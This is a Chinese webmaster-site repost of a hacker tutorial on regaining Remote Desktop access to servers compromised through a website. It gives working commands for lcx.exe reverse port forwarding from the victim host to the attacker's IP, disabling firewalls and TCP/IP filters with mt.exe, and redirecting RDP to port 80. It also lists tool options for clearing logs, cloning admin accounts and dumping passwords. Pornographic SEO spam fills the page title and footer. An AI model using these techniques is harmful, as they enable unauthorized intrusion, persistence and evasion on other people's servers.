青草久久影院-青草久久伊人-青草久久久-青草久久精品亚洲综合专区-SM双性精跪趴灌憋尿调教H-SM脚奴调教丨踩踏贱奴

17站長網(wǎng)

17站長網(wǎng) 首頁 安全 安全設(shè)置 查看內(nèi)容

開了3389后WEB滲透遠(yuǎn)程連接不上的分析與解決

2022-9-24 16:17| 查看: 2372 |來源: 互聯(lián)網(wǎng)

對于開了3389,連接不上,有幾個方面的原因,我來總結(jié)下,哇咔咔,這幾天提好幾臺服務(wù)器都TM這樣,分析下, 原因1、遠(yuǎn)程桌面端口被更改。2、對方服務(wù)器處于內(nèi)網(wǎng)。3、防火墻攔截。4、TCP/IP安全限制。 好了,知道原因
對于開了3389,連接不上,有幾個方面的原因,我來總結(jié)下,哇咔咔,這幾天提好幾臺服務(wù)器都TM這樣,分析下,
原因1、遠(yuǎn)程桌面端口被更改。2、對方服務(wù)器處于內(nèi)網(wǎng)。3、防火墻攔截。4、TCP/IP安全限制。
好了,知道原因了,我們來一個一個思考解決方法(部分引用):
遠(yuǎn)程桌面端口被更改解決方法:
現(xiàn)在一般的asp大馬都有探測服務(wù)器的功能,在權(quán)限還行的情況下都可以直接查看遠(yuǎn)程(Terminal Service)端口,或者可以查看注冊表也可以得到遠(yuǎn)程桌面端口,asp權(quán)限不行,在支持aspx的時候就換aspx查看注冊表。
對方服務(wù)器處于內(nèi)網(wǎng)解決方法:
這種情況我們可以使用lcx做端口轉(zhuǎn)發(fā),不知道的或者沒有的就百度“l(fā)cx.exe下載”,我就不提供下載了。
使用方法:
1.上傳lcx.exe到目標(biāo)服務(wù)器可執(zhí)行目錄
2.本地主機啟動lcx.exe監(jiān)聽,命令:
lcx.exe -listen 1988 4567 // 監(jiān)聽1988端口并轉(zhuǎn)發(fā)到4567端口
在目標(biāo)主機運行:
格式為:
lcx.exe -slave 你的IP 你監(jiān)聽的端口 肉機IP 要轉(zhuǎn)發(fā)的目標(biāo)主機端口
例子:lcx.exe -slave 192.168.86.1 1988 192.168.86.3 3389
3.本地鏈接:127.0.0.1:1988
OK,有點小麻煩,不過還是很管用的,要是你也是內(nèi)網(wǎng),你就做下端口映射就好了,映射到轉(zhuǎn)發(fā)回來的端口,哇咔咔。
4、防火墻攔截解決辦法:
一般還是先試試端口轉(zhuǎn)發(fā),還是利用LCX,
使用方法:
lcx.exe -slave 你的IP 你監(jiān)聽的端口 肉機 要轉(zhuǎn)發(fā)的目標(biāo)主機端口
例子:lcx.exe -slave 192.168.86.1 1988 192.168.86.3 3389
然后本地連接:127.0.0.1:1988 就搞定了。
如果還不行。。要是web是SYSTEM權(quán)限,直接停掉防火墻服務(wù)就沒問題了。
5、TCP/IP安全策略限制。
這個解決方法就有點多了,可以使用MT.EXE來關(guān)閉策略,
使用方法:
1.上傳mt.exe到目標(biāo)服務(wù)器可執(zhí)行目錄
2.執(zhí)行命令:mt.exe -filter off
這樣就關(guān)閉了TCP/IP限制了
選項:
-filter —更改TCP/IP 過濾器的開頭狀態(tài)
-addport —添加端口到過濾器的允許列表
-setport —設(shè)置端口作為過濾器的允許列表
-nicinfo —列出TCP/IP 界面信息
-pslist —列出活動進程
-pskill —殺毒指定進程
-dlllist —列出指定進程的DLL
-sysinfo —列出系統(tǒng)信息
-shutdown —關(guān)閉系統(tǒng)
-reboot —重啟系統(tǒng)
-poweroff —關(guān)閉電源
-logoff —注銷當(dāng)前用戶會話
-chkts —檢查終端服務(wù)信息
-setupts —安裝終端服務(wù)
-remts —卸載終端服務(wù)
-chgtsp —重置終端服務(wù)端口
-clog —清除系統(tǒng)日志
-enumsrv —列出所有服務(wù)
-querysrv —列出指定服務(wù)的詳細(xì)信息
-instsrv —安裝一個服務(wù)
-cfgsrv —更改服務(wù)配置
-remsrv —卸載指定服務(wù)
-startsrv —啟動指定服務(wù)
-stopsrv —停止指定服務(wù)
-netget —從http/ftp 下載
-redirect —端口重定向
-chkuser —列出所有賬戶、sid 和anti 克隆
-clone —克隆admin 到目標(biāo)
-never —設(shè)置賬戶看上去從未登錄
-killuser —刪除賬戶,甚至是 “guest” 也可刪除
-su —以Local_System 權(quán)限運行進程
-findpass —顯示所有已登錄用戶的口令
-netstat —列出TCP 連接
-killtcp —殺死TCP 連接
-psport —映射端口到進程
-touch —設(shè)置文件日期和時間到指定值
-secdel —安全擦除文件或目錄占用的空間
-regshell —進入一個控制臺注冊表編輯器
-chkdll —檢測gina dll 后門
上面只是一種方法,再說一種好用的方法吧,成功率灰常高,哇咔咔。
使用antifw.exe這個工具,
使用方法
在cmd下輸入
antifw -s 運行程序 停止iis將3389改為80
antifw -l 關(guān)閉程序。恢復(fù)iis
連接的時候直接連接他的80端口就OK了,內(nèi)網(wǎng)外網(wǎng)通殺!成功率比較高。但是這樣他網(wǎng)站就訪問不了。。。
沒事,上去了我們趕緊分析原因,排除萬難,把限制去掉,再給他還原80端口,哇咔咔。。。
By:Seay
本文最后更新于 2022-9-24 16:17,某些文章具有時效性,若有錯誤或已失效,請在網(wǎng)站留言或聯(lián)系站長:[email protected]
·END·
站長網(wǎng)微信號:w17tui,關(guān)注站長、創(chuàng)業(yè)、關(guān)注互聯(lián)網(wǎng)人 - 互聯(lián)網(wǎng)創(chuàng)業(yè)者營銷服務(wù)中心

免責(zé)聲明:本站部分文章和圖片均來自用戶投稿和網(wǎng)絡(luò)收集,旨在傳播知識,文章和圖片版權(quán)歸原作者及原出處所有,僅供學(xué)習(xí)與參考,請勿用于商業(yè)用途,如果損害了您的權(quán)利,請聯(lián)系我們及時修正或刪除。謝謝!

17站長網(wǎng)微信二維碼

始終以前瞻性的眼光聚焦站長、創(chuàng)業(yè)、互聯(lián)網(wǎng)等領(lǐng)域,為您提供最新最全的互聯(lián)網(wǎng)資訊,幫助站長轉(zhuǎn)型升級,為互聯(lián)網(wǎng)創(chuàng)業(yè)者提供更加優(yōu)質(zhì)的創(chuàng)業(yè)信息和品牌營銷服務(wù),與站長一起進步!讓互聯(lián)網(wǎng)創(chuàng)業(yè)者不再孤獨!

掃一掃,關(guān)注站長網(wǎng)微信

大家都在看

    熱門排行

      最近更新

        返回頂部
        主站蜘蛛池模板: 久久免费视频1 | 午夜电影三级还珠格格 | 国产精品AV色欲蜜臀在线 | GAY2022空少被体育生暴菊 | 又黄又猛又爽大片免费 | 妹妹成人网 | 怡春院院日本一区二区久久 | 波多野结衣网站www 波多野结衣教师系列6 | 粗壮挺进邻居人妻无码 | 日本理论片午午伦夜理片2021 | qvod电影资源 | 国产精彩视频在线 | 欧美肥胖女人bbwbbw视频 | 成人免费在线视频 | 欧美成人亚洲高清在线观看 | 一一本之道高清手机在线观看 | 国产人妻人伦精品A区 | 老司机午夜影院试看区 | 小黄文纯肉污到你湿 | 伊人精品影院一本到综合 | 欧美精品一区二区三区四区 | 99精品国产免费久久久久久下载 | 日韩欧美视频一区二区 | 国产精品嫩草影视在线观看 | 亚洲欧美一区二区久久 | 成人免费视频一区 | 男人天堂黄色 | 亚洲视频在线观看网站 | 女性爽爽影院免费观看 | 欧美另类老少配hd | 青柠高清在线观看完整版 | 午夜影院一区二区三区 | 亚洲国语在线视频手机在线 | 99热久久精品国产一区二区 | 国产亚洲精品首页在线播放 | 国产成人免费不卡在线观看 | 259luxu高跟黑色丝袜系列 | 亚洲欧美激情精品一区二区 | 国产最新精品亚洲2021不卡 | 欧美videqsdesex0 | 午夜国产一区在线观看 |